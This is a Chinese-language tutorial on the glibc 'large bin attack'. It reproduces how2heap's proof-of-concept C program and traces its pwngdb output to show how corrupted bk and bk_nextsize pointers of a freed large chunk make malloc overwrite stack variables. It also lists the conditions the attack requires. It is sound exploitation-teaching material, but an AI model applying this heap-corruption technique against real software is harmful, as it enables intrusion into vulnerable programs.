前言:我感觉这种利用有点借力打力的感觉。
通过实例学习 large bin attack 的原理
这里我们拿 how2heap 中的 large bin attack 中的源码来分析,记得看看malloc进行unsortedbin 分配的源码
// 主要漏洞在这里
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p2 - 2), (void *)(p2[0]));
void* p4 = malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n",
(void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
//------------------------------------
malloc(0x90);
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
编译完以后,注意!一定要用 glibc2.25 的 loader,改变 loader 的方法可以看这里:https://www.jianshu.com/p/1a966b62b3d4
pwngdb 走起,开始我们的分析之旅:
直接跳到:void* p4 = malloc(0x90);比how2heap多了个赋值
73
► 74 void* p4 = malloc(0x90);
75 fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
前面的操作我们主要关注对大chunk的malloc与free而不是malloc(0x20),执行到这里我们已经free了两个大chunk:p1(0x320) smallchunk , p2(0x400) largechunk
要注意的是:
p1 的大小是 0x330 < 0x3f0 大小属于 small bin,而 p2 的大小是 0x410 属于 large bin
执行完74行:
74 void* p4 = malloc(0x90);
► 75 fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
短短的一个malloc赋值,却蕴含天机:(如果不熟悉了去看点源码)
- 从 unsorted bin 中拿出最后一个 chunk(p1 属于 small bin 的范围)
- 把这个 chunk 放入 small bin 中,并标记这个 small bin 有空闲的 chunk
- 再从 unsorted bin 中拿出最后一个 chunk(p2 属于 large bin 的范围)
- 把这个 chunk 放入 large bin 中,并标记这个 large bin 有空闲的 chunk
- 现在 unsorted bin 为空,从 small bin (p1)中分配一个小的 chunk 满足请求 0x90,并把剩下的 chunk(0x330 - 0xa0)放入 unsorted bin 中
chunk链如下:
unsorted bin 中有一个 chunk 大小是 0x330 - 0xa0 = 0x290top: 0x603be0 (size : 0x20420) last_remainder: 0x6030a0 (size : 0x290) <========= unsortbin: 0x6030a0 (size : 0x290) <========= largebin[ 0]: 0x603360 (size : 0x410)
large bin 某一个序列的 bin 中有一个 chunk 大小是 0x410
继续执行完free(p3):
80 free(p3); //free(0x400)
► 81 fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
82
那么现在unsortedbin链中又多了一个chunk,放在第一个:
top: 0x603be0 (size : 0x20420)
last_remainder: 0x6030a0 (size : 0x290)
unsortbin: 0x6037a0 (size : 0x410) <--> 0x6030a0 (size : 0x290) <=============
largebin[ 0]: 0x603360 (size : 0x410)
进行对p2 chunk的构造:
p2[-1] = 0x3f1; //数组越界,对应size字段
p2[0] = 0; //fd
p2[2] = 0; //fd_nextsize
p2[1] = (unsigned long)(&stack_var1 - 2); //bk
p2[3] = (unsigned long)(&stack_var2 - 4); //bk_nextsize
修改 p2(large bin chunk),修改结果如下:
largebins
0x400 [corrupted]
FD: 0x603360 —> 0x7fffffffddf0 —> 0x603010 <— 0x0
BK: 0x603360 <— 0x0
然后又进行一次malloc(0x90):
100 malloc(0x90);
101
► 102 fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
103
与第一次 malloc(0x90) 过程类似:
- 从 unsorted bin 中拿出最后一个 chunk(size = 0x290),放入 small bin 中,标记该序列的 small bin 有空闲 chunk
- 再从 unsorted bin 中拿出最后一个 chunk(size = 0x410)
重点来了:
由于这次拿的是属于 large bin chunk,进入了 else 分支:
victim_index = largebin_index (size); //下标
bck = bin_at (av, victim_index); //获取表头
fwd = bck->fd; //获取第一个chunk
/* maintain large bins in sorted order */
if (fwd != bck) //检查是否空闲
在插入largebins之前会有3种情况:
- 没有free chunk
- 有free chunk 要插入的chunk是最小chunk
- 有free chunk 要插入的chunk不是最小chunk
显然我们这里已经有一个恶意修改的large chunk(0x3f1) 了,所以会进行不是最小chunk情况:
这里由于我们修改了原chunk的size为0x3f1,所以会被绕过
进入:/*循环寻找size的合适位置*/ while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; //更新下一个fwd assert ((fwd->size & NON_MAIN_ARENA) == 0); //属于main_arena }
这个原本的意思是把从 unsorted bin 中来的 chunk 插入这个序列中,但是这里没有检查合法性。这里存在这一个利用:{ /*其实是一个宏观的双向链表插入操作*/ victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; <======= fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; <======= } bck = fwd->bk; //前一个chunk
之前做的构造,把 fwd 的 bk_nextsize 指向了另一个地址:victim->bk_nextsize = fwd->bk_nextsize // then victim->bk_nextsize->fd_nextsize = victim;
也就是:
addr2->fd_nextsize = victim;
//等价于
*(addr2+4) = victim;
所以修改了stack_var2的值。
接着还存着另外一个利用:
bck = fwd->bk;
......
....
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
bck->fd = victim;
// 等价于
(fwd->bk)->fd = victim;
// 等价于
*(addr1+2) = victim;
修改了stack_var1的值。
至此利用完毕。由于最后分配的还是 small bin 中的 chunk,与 large bin 中的 chunk 也无关了。
总结 large bin attack 的利用方法
how2heap 中也说了,large bin attack 是未来更深入的利用。现在我们来总结一下利用的条件:
- 可以修改一个 large bin chunk 的 data
- 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面
但是largebins的某个范围链表也被破坏了